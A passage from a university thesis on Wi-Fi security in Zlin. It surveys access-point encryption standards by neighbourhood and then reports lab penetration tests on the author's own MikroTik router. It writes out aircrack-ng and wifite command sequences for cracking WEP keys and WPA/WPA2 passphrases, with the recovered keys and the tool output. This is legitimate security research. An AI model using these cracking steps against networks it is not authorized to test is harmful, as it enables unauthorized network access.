ducted in the shopping center area yielded some interesting results. To begin, the Wi-Fi

adapter used for scanning detected no instances of the WPA3 wireless security standard. A

significant majority of the 255 devices identified (approximately 78%) use the WPA2 se-

curity standard, indicating a relatively secure network environment. It is, however, con-

cerning that 29 APs (roughly 11% of the total) lack wireless security, making them vulner-

able to potential attacks. Furthermore, the presence of two wireless APs that continue to

use the obsolete and easily compromised WEP security standard raises additional security

concerns.
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6.2.10 Area ten: Malenovice, Zlin

Malenovice is a village in Zlin that is primarily a residential area but also has a large num-
ber of shops, schools, banks, restaurants, and other amenities. Malenovice is known for its
tranquil atmosphere and low car traffic, making it a peaceful part of the city. It is located
within zip code 763 02, and the specific scanned area is depicted in the accompanying il-

lustration Figure 27.
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Figure 27 Map of scanned Area for Malenovice

meticulously organizes the collected data, presenting a comprehensive distribution of dif-
ferent security standards among the detected APs. The Table 15 displays the number and
percentage of APs that use various security standards, including WPA3, WPA2, WPA2,
WPA, WEP, and OPN.

Table 15 Results of security scan for Malenovice

Standard and Protocols ‘ Count of BSSID Count of BSSID in %
WPA3 WPA2 6 1.03%
SAE 2 0.34%
CCMP 2 0.34%

SAE PSK 4 0.68%
CCMP 4 0.68%
WPA2 WPA 60 10.26%
PSK 60 10.26%
CCMP 26 4.44%
CCMP TKIP 34 5.81%
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WPA2 493 84.27%
MGT 8 1.37%
CCMP 8 1.37%
PSK 485 82.91%
CCMP 420 71.79%
CCMP TKIP 65 11.11%
WPA 12 2.05%
11 1.88%

11 1.88%

PSK 1 0.17%
TKIP 1 0.17%
WEP 1 0.17%
1 0.17%

WEP 1 0.17%
OPN 13 2.22%
13 2.22%

13 2.22%

Grand Total 585 100.00%

A graphical illustration in pie chart of the results obtained from scanning of Malenovice in

Zlin is found in Figure 28 below.
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Figure 28 Count of BSSID in percentage for Malenovice
Based on the data obtained from the security scan in the village, it is evident that a signifi-
cant majority of the detected devices, comprising 85% (493 devices), utilize the robust
WPA2 security standard. Following closely behind is a hybrid configuration, WPA2 WPA,

indicating a combined usage of security standards. Notably, it can be inferred that approx-
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imately 95% of the detected devices prioritize stronger security standards, including WPA3
WPA2, WPA2 WPA, and WPA2. Conversely, a small portion of the devices, around
0.17% (1 device), still rely on the less secure WEP security standard. Additionally, approx-
imately 2.22% of the total detected devices operate without any security measures, leaving

them open for public use.

6.2.11 Area eleven: Park Komenského, Zlin

One of the most famous parks in Zlin city is Park Komenského. Its location helps greatly
for its attraction of locals. It is placed in the heart of the city, close to the former F. Bartose
Library building and by the entrances to the monastery and Cultural and University Center.
It is located within the zip code of 760 01. Due to the consistent high foot traffic in the area
and the presence of many small shops, including bakeries and fast food restaurants, close
to the garden. Visitors are attracted in large part by these amenities, which was the season

why this area, illustrated in Figure 29, was chosen to be scanned.
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Figure 29 Map of scanned area for Park Komenského

The collected data has been organized into a table that displays the number of APs that use
various security protocols, such as WPA2, WPA, and OPN. The Table 16 provides valua-

ble insights into the scanned area's security landscape, Park Komenského, Zlin.
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Table 16 Results of security scan in Park Komenského

Standard and Protocols ‘ Count of BSSID Count of BSSID in %
WPA2 WPA 27 9.57%
MGT 1 0.35%
CCMP TKIP 1 0.35%
PSK 26 9.22%
CCMP 7 2.48%
CCMP TKIP 19 6.74%
WPA2 223 79.08%
MGT 35 12.41%
CCMP 35 12.41%
PSK 188 66.67%
CCMP 154 54.61%
CCMP TKIP 33 11.70%
TKIP 1 0.35%
WPA 6 2.13%
6 2.13%

6 2.13%

OPN 26 9.22%
26 9.22%

26 9.22%

Grand Total 282 100.00%

A graphical illustration in pie chart of the results obtained in from scanning of Park

Komenského in Zlin is found in Figure 30 below.



TBU in Zlin, Faculty of Applied Informatics 84

WPA2 WPA
10%

WPA
2%

r

Figure 30 Count of BSSID in percentage for Park Komenského

Several significant observations are made in the results shown above. To begin, none of the
APs in the scanned area use the most recent security standard, WPA3. Furthermore, ap-
proximately 9% of the 282 AP devices, or 26 devices, do not use any security standard,
indicating a potential vulnerability. On the plus side, the scan found no APs using the out-

dated and easily compromised WEP security standard.

6.2.12 Area twelve: Antoninova, Zlin

Antoninova Street is known for its notable features, which include a prominent four-story
public polyclinic building, Tomas Bata University's polymer engineering building, a
school, dormitory, and several shops. Because of its central location in the city, the street
sees a lot of foot traffic, especially during the week. It is located in the 760 01 zip code and

is depicted in the accompanying Figure 31.
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Figure 31 Map of scanned area of Antoninova

The gathered information has been meticulously organized into Table 17, which provides a
comprehensive overview of the distribution of various security standards among the de-
tected APs in Zlin's Antoninova neighborhood. The table shows the number and percent-
age of APs that use different security standards, such as WPA3 WPA2, WPA2 WPA,
WPA2 OPN, WPA2, WPA, WEP, and OPN. This insightful examination sheds light on the

current security landscape in the Antoninova area.

Table 17 Results of security scan in Antoninova

Standard and Protocols ‘ Count of BSSID Count of BSSID in %
WPA3 WPA2 2 0.45%
SAE PSK 2 0.45%
CCMP 2 0.45%
WPA2 WPA 28 6.32%
PSK 28 6.32%
CCMP 16 3.61%
CCMP TKIP 12 2.71%
WPA2 358 80.81%
MGT 85 19.19%
CCMP 85 19.19%
PSK 273 61.63%
CCMP 236 53.27%
CCMP TKIP 37 8.35%
WPA2 OPN 1 0.23%
PSK 1 0.23%
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CCMP 1 0.23%
WPA 10 2.26%
9 2.03%

9 2.03%

PSK 1 0.23%
TKIP 1 0.23%
WEP 3 0.68%
3 0.68%

WEP 3 0.68%
OPN 41 9.26%
41 9.26%

41 9.26%

Grand Total 443 100.00%

A graphical illustration in pie chart of the results obtained in from scanning of Antoninova

street in Zlin is found in Figure 32 below.
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Figure 32 Count of BSSID in percentage for Antoninova

WPA?2 is the most widely used wireless security standard among the detected APs, accord-

ing to the analysis. Approximately 9% of the total APs, or 41 devices, do not have any se-

curity measures in place, to allow public access. The detection of a single device using the

unique combination standard WPA2 OPN suggests two possibilities. In Case 1, the router's

configuration allows users to connect to an open network without encryption or authentica-

tion, while devices with the necessary credentials can connect securely using WPA2. This

configuration allows for a wide range of devices and users. In Case 2, the hybrid configu-



TBU in Zlin, Faculty of Applied Informatics 87

ration caters to devices that do not require or support security standards, such as loT devic-
es or public APs, while devices with valid credentials connect using WPA2, ensuring data
confidentiality and protection from unauthorized access.

6.3 Overall Findings: Combining Results and Drawing Conclusion

The combination of the data for all 12 areas in the city of Zlin is Displayed below.

Table 18 Combined results of Data Analysis for 12 Areas in Zlin

Area xgig WPA3 ‘\X’lﬁf WPA2 \2’)11’;;2 WPA | WEP | OPN | Total
1 3 - 47 407 - 9 1 54 521
2 9 - 113 862 - 21 8 11 1024
3 2 - 13 399 - 2 5 201 622
4 1 - 28 311 - 3 2 23 368
5 8 - 25 301 - 8 3 17 362
6 16 - 69 782 - 6 1 10 884
7 27 - 42 839 - 10 2 40 960
8 2 - 27 237 - 4 - 42 312
9 - - 22 200 - 2 2 29 255
10 6 - 60 493 - 12 1 13 585
11 - - 27 223 - 6 - 26 282
12 2 - 28 358 1 10 3 41 443

Total 76 - 501 5412 1 93 28 507 6618

We can draw several conclusions from the data in Table 18 above:

e WPA2 is the most widely used security standard in all areas, accounting for
approximately 81.84% of all detected APs with a total count of 5412 BSSIDs.

e WPA2 WPA is the second most commonly used security standard, with 501
BSSIDs, accounting for approximately 7.57% of all detected access points.

e WPA3 WPA?2 usage is relatively low, with a total count of 76 BSSIDs, accounting
for approximately 1.15% of all detected APs.

e Open (OPN) networks can be found in a variety of locations, with a total of 507
BSSIDs accounting for approximately 7.66% of all detected APs.

o  WPA networks are present in all of the locations, although their prevalence is
relatively low. A total of 93 BSSIDs utilize this security protocol, accounting for

approximately 1.41% of all detected APs.
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e WEDP, an older and less secure security standard, is still in use, with 28 BSSIDs
accounting for approximately 0.42% of all detected APs.

e WPA2 OPN, a seldom-used hybrid security setting, was identified in only 1 out of
the total 6618 APs detected, representing a mere 0.015% of the total APs.

o« WPA3, the strongest and most recent standard, is not used by any dectected device
as the sole standard. This is due to many devices not being able to support it yet.

WPA3 can only be found in this work with the combination of WEP2 standard.

Overall, WPA?2 is used to secure the majority of APs in the analyzed areas, indicating a
higher level of security than other standards such as WEP. The presence of open networks

implies that some APs are purposefully left unprotected, possibly for public use.
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7 SECURITY OF SELECTED WI-FI EQUIPMENT

The primary goal of this research project was to assess the effectiveness of various security
configurations supported by an AP. The study involved performing multiple attacks on the
AP and analyzing the results for each security configuration. The study demonstrated how
changing the AP's security settings can affect the effectiveness of security measures against

various attacks.

7.1 Methodology

The research design used is an experimental approach to evaluating the performance and
security of the Wi-Fi equipment chosen. It evaluates the device's resilience under various
attack scenarios through a series of tests. The study focuses on network responsiveness,
vulnerability to unauthorized access, and encryption strength. The collected data is sub-
jected to quantitative analysis, which includes statistical measurements and comparisons.
The findings provide useful conclusions about the effectiveness and security of Wi-Fi

equipment.

In this work, data was gathered by conducting penetration tests with the Kali Linux Air-
crack-ng tool suite [47]. Following each penetration test, relevant data points were record-
ed in order to evaluate the security of the Wi-Fi equipment. Data was gathered specifically

on the following key aspects:

o Attack Duration: The time it took to complete each penetration test was recorded,
providing insight into the attack method's speed and efficiency.

o Secuirty strength: The level of security provided by the Wi-Fi equipment was
assessed based on the security standard, the authentication type, and the method of
encryption used. This information aided in determining the device's resistance to
unauthorized access attempts.

o Key Strength: Data on the strength of the PSK used by Wi-Fi equipment was
gathered. This included determining the complexity and resilience of the

security system.

Following data collection, the data was analyzed by organizing it into a table for compari-
son and further analysis. For each penetration test, the table included relevant metrics such
as attack duration, security strength, and key strength. Graphical illustrations were created

using the table data to illustrate the differences in outcomes between different security
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measures. This research will conclude with recommendations for best security practices to

protect APs from cyber threats.

7.1.1 Tools and technologies used for conducting research

The primary hardware device utilized in this research project was the Microtik hAP ac lite.
This Dual-concurrent AP provides Wi-Fi coverage for both the 2.4 GHz and 5 GHz bands
simultaneously. The MAC address of this wireless AP was critical in the research because
it was the primary target for all security tests. The Table 19 below contains detailed infor-

mation about this device.

Table 19 Microtik hAP ac lite specifications

Product Specifications
Model RouterBOARD 952Ui-5ac2nD
Serial number T1AF07174727
Firmware type qca9531L
board name hAP ac lite
Version 6.49.2 (stable)
Central Processing Unit (CPU) MIPS 24Kc V7.4

Wireless Capabilities
Wireless 2.4 GHz standards 802.11b/g/n
Wireless 2.4 GHz generation Wi-Fi 4
Wireless S GHz standards 802.11a/n/ac
Wireless 5 GHz generation Wi-Fi 5

Along with the Microtik hAP ac lite, two Patch CATSE UTP network cables were utilized
to connect devices for both configuration and internet access. These cables can transmit

data at speeds of up to 1,000 Mb/s.

The Archer C6 AC1200 Wireless MU-MIMO Gigabit Router was used to enable internet
access, as it supports the 802.11ac standard and AP mode, which was necessary for this
study. Further details on the router's specifications can be found in the Table 20 provided

below.

Table 20 Archer C6 router specifications

Router Features
Wireless 2.4 GHz standards 802.11n/b/g
Wireless 5 GHz standards 802.11ac/n/a
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Wireless generation Wi-Fi 5
5 GHz: 867 Mbps (802.11ac)
Wi-Fi Speed 2.4 GHz: 300 Mbps (802.11n)
WPA
WPA2
Wi-Fi Security WPA/WPA2-Enterprise (802.1x)

The HP Elitebook 840 G6 laptop was used to run wireless security tests on the Microtik
router and configure the wireless security settings on the Microtik AP as the research pro-
gressed. This laptop's wireless capabilities made it an invaluable tool for performing the

necessary tests and configurations for the research.

The Kali Linux OS on a Virtual Machine (VM) is used in conjunction with the Wireless N
USB Adapter TL-WN722N to perform test attacks and penetration testing on the Microtik
router. Kali Linux is well-known for performing comprehensive security assessments on
routers and other network devices. Aircrack-ng, one of the security tools included with
Kali Linux, is specifically used to assess the router's security. Its capabilities are used to

test and evaluate the security measures of the router.

7.1.2 Network topology and configuration

The implemented network architecture in this scenario employs a tree topology, which
combines both point-to-point and point-to-multipoint configurations as described in sub-
chapter 4.1 Types of Connections in Wi-Fi Network (Network Topology). In this specific
case, the home router utilizes two directional antennas to propagate radio waves across the
2.4 GHz and 5 GHz frequencies, and features an available Ethernet port that will be uti-
lized to extend the internet connection to the Microtik AP. Similarly, the AP operates by
transmitting waves in the 2.4 GHz and 5 GHz frequencies to establish a wireless connec-
tion to the internet, and is equipped with an Ethernet port that enables the extension of the
internet connection to a laptop through a wired connection. A visual representation of the

configuration is illustrated in the Figure 33 below.

Regarding the logical topology configuration, the setup and security confirmation for both
the wireless connection to the AP are accomplished through the utilization of WinBox.
WinBox is a graphical user interface (GUI) tool developed by MikroTik specifically for

the management and configuration of devices running RouterOS. Its purpose is to stream-
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line the process of configuring and managing network settings, providing a user-friendly

interface for efficient network administration.

_~ —
Q
Home Router MicroTik AP
Connection Type
Wired through LAN Phone

............ Wireless

Figure 33 Physical network topology relevant to this research

7.2 Penetration Tests on WEP Standard

The penetration tests conducted in this section are focused on the Microtik device that was
configured to utilize the WEP wireless security standard. The objective of the research is to
assess the effectiveness of various static 104-bit keys employed to secure the network,
ranging from simplistic to more complex key configurations. The aim is to evaluate the
vulnerability of the system and identify potential weaknesses in the security implementa-

tion.

7.2.1 Exploiting Initialization vector (IV) and cracking WEP standard

In the WEP security standard, IV keys are transmitted alongside the data in plaintext to
allow the recipient to decrypt the communication. Unfortunately, this poses a vulnerability
as attackers can intercept these IVs. By acquiring a substantial number of repeating 1Vs,
adversaries can effectively exploit this flaw in the WEP security standard. They achieve
this by decrypting the secret key and comprehending the encrypted data. Consequently, the

attacker gains the ability to compromise the system's security with relative ease.
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Outlined below are the Linux commands used to exploit WEP successfully:

1 $ sudo ip link set wlanO down

2 $ sudo iw wlanO set monitor control

3 $ sudo ip link set wlanO up

4 $ sudo airodump-ng wlanO

5 § sudo aireplay-ng -9 -a [BSSID] wlanO

6 $ sudo airodump-ng --write [CaptureFile] --bssid [BSSID] -
channel [channelNumber] wlanO

7 $ sudo aireplay-ng -3 -a 64:D1:54:68:DB:BB wlanO

8 $ sudo aircrack-ng [CaptureFile.cap]

A series of commands is executed to perform various actions related to wireless network
auditing and penetration testing. The network interface named "wlan0" is disabled using
the command on line 1 starting with that line. On line 2, the wireless interface "wlan0" is
configured in monitor mode with control capabilities. The "wlan0" interface is then re-
enabled on line 3. Moving on to line 4, the command provided is used to start packet cap-
ture and analysis on the "wlan0" interface. Line 5 launches a targeted de-authentication
attack on a particular network by sending de-authentication packets to the target BSSID.
Line 6 captures packets from the target network, writes them to a specified directory, and
configures the channel to monitor for packet captures. Line 7 initiates a packet injection
attack on the target network. Finally, line 8 invokes the Aircrack-ng tool, which can be

configured to crack the WEP key of the captured packets in the specified file location.

The key generating machine produced a set of ten passwords arranged in ascending order
of randomized complexity as WEP keys. The objective is to acquire sufficient IVs to effec-

tively crack the WEP in the shortest possible duration. The outcomes are presented in the

Table 21 below.

Table 21 Results of IV exploitation and WEP crack of 10 keys

Time
Password (mm:ss) Keys Tested
1 0123456789ABCDEF0123456789 00:01 1603801 3577
2 048CF19D26AES7B048CF19D26A 00:34 713 28030
3 0369CF148AE257BD0369CF148A 00:41 237099 37362
4 08AC89F3ADEBI9CFO08AC89F3ADE 02:37 1285948 40490
5 D9A732FES51C648B703F8E9245B 07:38 190758 42044
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6 6CF49DF68AE79B06CF49DF68AE 04:01 900818 44659
7 079B69F17BDESACO079B69F17BD 04:38 40729 45008
8 05AE29BD46CF68D05SAE29BD46C 03:34 721 46088
9 02468ACE13579BDF02468ACE13 01:46 232144 54787
10 | ES7TF1D83A9C2468B79530FE2D4 05:54 200676 70978

According to the data, it takes longer to break the WEP for passwords that are more com-
plex and randomly generated. Additionally, the randomized complexity of the password
influences both the quantity of keys tested and I'Vs obtained. Consequently, creating secure
and challenging passwords can improve the security of WEP. Despite the fact that the most
complex password took the longest time to crack, taking nearly 6 minutes, it is still not a
secure standard for Wi-Fi. This is because, given enough time and resources, even the most
secure passwords could be compromised. Therefore, it is essential to implement additional

security measures and regularly update passwords in order to safeguard Wi-Fi networks.

7.2.2 Fragmentation attack

A packet fragmentation attack is a technique used in network security and penetration test-
ing to exploit vulnerabilities in wireless network packet fragmentation. Large packets are
fragmented into smaller ones when transmitted over a wireless network to fit within the

network's maximum transmission unit (MTU).

The attacker conducts an IP packet fragmentation attack by sending specially crafted IP
packets with manipulated fragmentation information. These packets take advantage of
flaws or vulnerabilities in the target system's IP stack or network devices. When these
packets are received, the target system or network devices attempt to reassemble the frag-
ments using the fragmentation information. The reassembly process, however, may fail due
to the attacker's manipulation, resulting in unexpected behavior such as resource consump-
tion, system crashes, or unresponsiveness. Furthermore, the attack may take advantage of
other vulnerabilities, allowing the attacker to circumvent security controls, gain unauthor-

ized access, or execute malicious code on the targeted system.
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Outlined below are the Linux commands used to exploit WEP successfully:

1 $ link set wlan0 down

2 $ wlan0 set monitor control

3 $ link set wlanO up

4 $ wlan0

5 $ [BSSID] wlanO

6 $ [CaptureFile] [BSSID]
channel [channelNumber] wlanO

7 $ 0 [BSSID] [Your MAC] wlanO

8 $ [BSSID] [Your MAC] wlanO

9 $ [BSSID] [Your MAC] [ARP
filename] [filename. xor]

255.255.255.255 255.255.255.255
10 $ [ARP filename] wlanO
11 $ "ESSID" [CaptureFile]

The commands listed above are used to perform a fragmentation attack on an AP that uses
WEP security standard. The network interface is turned off with the command on line 1,
and placed in monitor mode on line 2. The line 3 activates the interface, and line 4 starts
airodump-ng, which records and examines the nearby wireless traffic. The line 5 broad-

casts a packet to ascertain the quantity of IVs required to decipher the WEP key.

The command on line 6 sets the channel number to the AP's channel and creates a file to
store packets that have been captured. The line 7 makes the attacker's device the authorized
device on the network and links it to the AP. The line 8 injects forged ARP packets into the

network to create new traffic.

Using the data gathered from the previous commands, the command on line 9 constructs a
forged packet and saves it as an ARP file. The line 10 increases the number of IVs that are
captured by repeatedly replaying the forged packet. Finally, on line 11, the WEP key is

cracked using the captured packets and key stream analysis.

The results of a fragmentation attack on a router using the WEP security standard, using

ten different passwords, are shown in the following Table 22.
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Table 22 Results of packet fragmentation and WEP crack of 10 keys

Time

No. Password (mm:ss) Keys Tested IVs

1 0123456789ABCDEF0123456789 00:00 745 41806
2 048CF19D26AES7B048CF19D26A 00:00 631 38735
3 0369CF148AE257BD0369CF148A 02:35 732 31632
4 08AC89F3ADEBI9CFO08AC89F3ADE 01:09 769 40785
5 D9A732FES51C648B703F8E9245B 02:25 977190 41131
6 6CF49DF68AE79B06CF49DF68AE 02:14 861 39975
7 079B69F17BDESAC079B69F17BD 02:15 833 35730
8 05AE29BD46CF68D05AE29BD46C 03:04 695 45918
9 02468 ACE13579BDF02468ACE13 02:02 821968 40604
10 | ES7TF1D83A9C2468B79530FE2D4 03:43 727 37403

It can be concluded from the data gathered of a fragmentation attack conducted on a router
using the WEP security standard and 10 different passwords that this security standard is
extremely weak and easily cracked. The hardest password to crack, which took 3 minutes
and 43 seconds, was still vulnerable. Longer and more complicated passwords do add a
certain amount of security, but it is clear that it is not enough to fully protect against at-
tacks. To ensure the safety and confidentiality of wireless networks, it is strongly advised

to use more advanced and secure security standards such as WPA2 or WPA3.

7.2.3 Wifite Attack on WEP

Wifite is a wireless auditing tool that automates wireless network attacks. Wifite can per-
form a specific attack known as the WEP cracking attack on WEP. The WEP cracking
attack attempts to gain unauthorized access to a WEP-protected network by exploiting vul-
nerabilities in the WEP encryption algorithm. Wifite automates this process by using vari-
ous techniques such as packet capture, encryption key analysis, and WEP key cracking.
Wifite captures a sufficient number of data packets from the target network during the
WEP cracking attack. The WEP key is then determined using statistical analysis and cryp-
tographic attacks. Wifite performs these operations using tools such as Aircrack-ng and
other utilities. After successfully cracking the WEP key, the attacker gains unauthorized

access to the compromised wireless network.
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The strongest password from the list of passwords used in this research will be used to per-
form an automatic Wifite attack on the WEP security standard. Wifite will launch several

attacks against the AP. Outlined below are the Linux commands used to exploit WEP suc-

cessfully using Wifite:
1 $ link set wlanO down
2 S wlan0 set monitor control
3 8 link set wlanO up
4 S

The commands listed are used to perform a Wifite attack on a router utilizing WEP securi-
ty standard [48]. The first three commands are used to configure the wireless interface in
monitor mode, which is necessary for sniffing wireless traffic. The command on line 4 is

the actual Wifite command that launches the attack.

Below, in Figure 34, are the results obtained from the WEP cracking using Wifite.

~

[sudo] password for kali:

a wire auditor by der
maintained by kimocoder

already in monitor mode

551D CH ENCR PWR WPS CLIENT

Select target(s) (1-28)

(1/1) starting attacks against
attempting f: Ut tication with BB ... succ
T - ( ) : : 60149/ \ < th, Replaying @ 599/sec
WEP attack suc S

sav [ r Lt to [
Finished attacking 1 target(s), exiting

Figure 34 Results of Wifite and WEP crack
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The output in Figure 34 shows a list of available wireless networks, along with their
names, encryption protocols, power levels, and whether or not they support WPS (Wi-Fi
Protected Setup). The tool then asks the user to choose a target network from the list to
attack. The target in this case was a MikroTik 2 GHz network using the WEP encryption

protocol. The tool then performed a successful replay attack to crack the WEP key.

7.3 Penetration Tests on WPA Standard

The security configuration of the MikroTik AP was modified in order to conduct WPA
standard penetration tests. WPA, a wireless security standard, uses PSK authentication. It
supports two algorithms for unicast and group ciphering: TKIP and AES. It's worth noting
that WPA requires a minimum of 8 characters for the PSK, which ensures a certain level of

complexity and security.

One of the attacks is the Dictionary attack. A dictionary attack occurs when an attacker
uses a pre-compiled list of commonly used passwords, known as a "dictionary", and sys-
tematically attempts each password against the target network until a match is found. The
attack takes advantage of the fact that many users use passwords that are weak or easily

guessable.

7.3.1 Dictionary attack

When targeting WPA-PSK with TKIP, the attacker captures the encrypted packets ex-
changed between a client device and the AP. The captured packets contain the encrypted
Wi-Fi password. The attacker then employs the dictionary attack technique to attempt de-
cryption of the captured packets using different passwords from the dictionary. If a match

is found, the attacker has successfully determined the Wi-Fi password.

The attack was carried out in this study using a dictionary called rockyou.txt, which is
included in the Kali Linux operating system. This dictionary is a plaintext file containing a
list of frequently used passwords. Because it contains a large number of passwords com-
monly used by individuals, the rockyou.txt file is frequently used by security professionals

and hackers to test the strength of passwords.
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The following are the commands used to carry out the dictionary attack on a router using

the WPA security standard with the PSK form of authorization.

1 S link set wlan0 down

2 3 wlan0 set monitor control

3 3 link set wlanO up

4 3 [filename] [BSSID]
[channel number] wlanO

5 S rockyou.txt [filename.cap]

These commands were used to launch an attack on an AP using the WPA staandard and the
PSK authentication method. The network interface was configured using the first three
commands (lines 1-3). The command on line 1 uses "ip link" to disable the wireless inter-
face wlan0O, which is then set to monitor mode by the command on line 2. Finally, the
command on line 3 restores the interface. Line 4 of the commands employs airodump-ng
to capture packets from the target AP. The -write option specifies the file to which the
captured packets will be saved, whereas the --bssid and --channel options specify the
target AP's MAC address and the channel on which it operates, respectively. The wireless
interface to be used is specified by the wlan0O argument. The final command on line 5
uses aircrack-ng to attempt a dictionary attack on the captured packets. The -a2 option
specifies that the attack is to be carried out using the WPA/WPA?2 standard, while the -w
option specifies the wordlist to be used for the attack, in this case, rockyou.txt. The
argument filename. cap specifies the name of the file containing the captured packets. If
the attack is successful, the PSK will be displayed, granting the attacker access to the target

network.

In the data below are the results obtained from a dictionary attack performed on an AP

using the WPA security standard with a password.
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# BSSID ESSID Encryption
1 64:D1:54:68:DB:BB MikroTik 2GHz WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening /home/kali/Desktop/Hacking/WPA-PSK/-01.cap
Resetting EAPOL Handshake decoder state.
Read 2073 packets.
1 potential targets
Aircrack-ng 1.7
[00:37:18] 11165734/14344392 keys tested (4934.88 k/s)
Time left: 10 minutes, 44 seconds 77.84%
KEY FOUND! [ Elizal23 ]
Master Key : 6B E8 0D B5 1C 1E 02 46 A4 6E 98 77 1A 57 A9 62
Cl A9 A0 67 D7 EC E4 6D 9D EE D4 AC 14 OF F8 B8

Transient Key : 08 D1 29 FA 96 B3 6A 98 D9 9F 52 06 E2 F5 Al 5A
C5 8E 92 F8 77 2F 09 01 02 OB 15 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O

EAPOL HMAC : 93 45 3D 29 BF 89 6D 97 A9 9E E6 OB E9 A8 AD FC

From the data displayed above, it can be concluded that a successful dictionary attack was
performed. E1izal23 was discovered to be the password. The Aircrack-ng tool was
used to crack the password in 10 minutes and 44 seconds, testing 11,165,734 out of

14,344,392 possible keys at a rate of 4,934.88 keys per second.

7.3.2 Wifite attack on WPA

Wifite can be used to launch a variety of attacks against WPA networks, including diction-
ary attacks and handshake capture attacks. A dictionary attack with Wifite on a WPA net-
work involves systematically attempting different passwords from a pre-compiled list, also
known as a dictionary, in order to crack the network's PSK. Wifite automates the process
by cycling through the dictionary of passwords and attempting to authenticate with the

target network until a successful match is found.

Wifite can use the handshake capture method to record the four-way handshake exchange

that occurs when a client device connects to a WPA network. The handshake contains en-
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crypted data, including the PSK, which can be cracked offline using powerful computing

resources or specialized software such as Aircrack-ng.

The command utilized to execute this attack is as follows:

$ sudo wifite -1 wlan0 -wpa —-dict rockyou.txt

The command is used to launch a WPA attack using the dictionary file rockyou.txt. The -1
flag followed by wlan0 specifies which wireless interface will be used for the attack. The
-wpa flag instructs wifite to only look for WPA-encrypted networks. Finally, the --dict
flag followed by rockyou. txt specifies the dictionary file that will be used in the attack.
The command as a whole launches the wifite tool, which searches for WPA-encrypted
networks on the specified wireless interface and attempts to crack their passwords using

the rockyou.txt dictionary file.

The following results display the outcome of the attempt to crack the WPA PSK:

[+] option: using wireless interface wlanO

[+] option: using wordlist /home/kali/Desktop/rockyou.txt to crack WPA
handshakes

[+] option: targeting WPA-encrypted networks

NUM ESSID CH ENCR PWR WPS CLIENT

1 MikroTik 2 GHz 1 WPA-P 62db yes

[+] (1/1) Starting attacks against 64:D1:54:68:DB:BB (MikroTik 2 GHz)

[+] MikroTik 2 GHz (57db) WPA Handshake capture: found existing hand-
shake

[+] Using handshake from hs/handshake MikroTik2GHz 64-D1-54-68-DB-
BB 2023-05-14T17-09-46.cap

[+] Cracking WPA Handshake: Running aircrack-ng with rockyou.txt word-

list

[+] Cracking WPA Handshake: 78.63% ETA: 1llmlls @ 4565.2kps (current
key: Elizal23)

[+] Cracked WPA Handshake PSK: Elizal23
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According to the data gathered, the WPA encrypted network has been successfully cracked
using the password E1iza123. The tool used to carry out the attack is wifite, with wlan0
as the specified wireless interface and rockyou.txt as the dictionary file. The tool de-
tected three WPA encrypted networks within range, and the user chose to attack the first,
which had a power level of 62db and the WPS feature enabled. The attack was successful
because the tool discovered an existing handshake for the target network and used it to
crack the password. The output also includes the AP name, BSSID, encryption type, and
location of the handshake file.

7.4 Penetration Tests on WPA2 Standard

The Microtik AP's security configuration was changed to facilitate WPA2 standard pene-
tration tests. PSK authentication is used by WPA?2, a wireless security standard. It provides
two unicast and group ciphering algorithms: TKIP and AES. WPA2 requires a minimum of
8 characters for the PSK, similar to WPA, to ensure a certain level of complexity and secu-

rity.

7.4.1 Dictionary attack

The dictionary attack is a common method used to crack the network password in the con-
text of the WPA2 security standard. The dictionary attack on WPA2 is similar to WPA in
terms of technical processes. The attacker intercepts a WPA2 handshake and then launches
an attack using a tool like Aircrack-ng by pointing it to a wordlist. The tool then goes
through the list word by word, trying each one as a password until it finds a match. If the

password is in the dictionary, the attack succeeds and the attacker gains network access.

When it comes to dictionary attacks, there is one significant difference between WPA and
WPA2. WPA2 employs a more robust encryption algorithm known as AES, which makes
brute-force attacks much more difficult. To crack the password, the attacker may need to
use a larger wordlist and more computing power. For the purpose of this research, the pre-

viously employed rockyou.txt dictionary will also be utilized in this case.
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To conduct a dictionary attack on an AP that uses the WPA2 security standard, the follow-

ing commands are utilized:

$ sudo ip link set wlanO down
$ sudo iw wlanO set monitor control

$ sudo ip link set wlanO up

_ W ND R

$ sudo airodump-ng -write [filename] --bssid [BSSID] --channel
[channel number] wlanO

5 $ sudo aircrack-ng -a2 -w rockyou.txt [filename.cap]

Similar to the commands used for cracking WPA, the commands for cracking WPA2

fol-

low a similar pattern. The command on line 1 brings down the wireless interface, line 2

sets it to monitor mode, and line 3 brings it back up. Line 4 captures wireless traffic from

the targeted AP and saves it to a file. Finally, the command on line 5 attempts to crack the

captured traffic using a dictionary attack with a specified dictionary file. Overall, these

commands are used to perform a dictionary attack on an AP that uses WPA2 security.

The output obtained from executing these commands is displayed below:

# BSSID ESSID Encryption
1 64:D1:54:68:DB:BB MikroTik 2 GHz WPA (1 handshake, with PMKID)
Choosing first network as target.
Reading packets, please wait...
Opening /home/kali/Desktop/Crack/WPA2-1/dict-01l.cap
Resetting EAPOL Handshake decoder state.
Read 8884 packets.
1 potential targets
Aircrack-ng 1.7
[00:00:05] 40201/14344392 keys tested (7784.71 k/s)
Time left: 30 minutes, 37 seconds 0.28%

KEY FOUND! [ ilovepizza ]

Master Key : C6 DO D8 B6 A6 BA 73 OF 9D 6F 81 24 E3 38 7C F4

BE F3 03 DE E8 F9 FB OE 20 73 76 BO F3 A7 6D ED

Transient Key : 00 00 00 00 00 00 00 00O 00 0O 00 00 OO 00 0O 00
00 00 00 00 00 0O 0O 0O 0O 0O 0O 0O 0O 0O 0O 0O
00 00 00 00 00 0O 0O 0O 0O 0O 0O 0O 0O 0O 0O 0O
00 00 00 00 00 0O 0O 0O 0O 0O 0O 0O 0O 0O 0O 0O
EAPOL HMAC : 20 FC 28 5C 04 F8 80 E4 D9 8A 3F 42 D3 13 EA FE
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Based on the information provided, it is possible to conclude that a Wi-Fi network with the
name MikroTik 2 GHz and WPA encryption was subjected to a cracking attempt. The
method entailed analyzing a captured handshake and employing the Aircrack-ng tool ver-
sion 1.7. The passphrase ilovepizza was successfully discovered after testing 40,201

keys at a rate of 7,784.71 keys per second.

7.4.2 Wifite Attack on WPA2

On WPA2 networks, Wifite can be used to perform dictionary and brute-force attacks.
WPAZ2 uses stronger encryption than WPA, so the attack process may take longer and re-
quire more computing power. In terms of Wifite attacks, the attack process is essentially

the same for both WPA and WPA2.

The command used to initiate a wifite attack on Aps utilizing WPA?2 is similar to that of

WPA and its displayed below:

S wlanO rockyou. txt

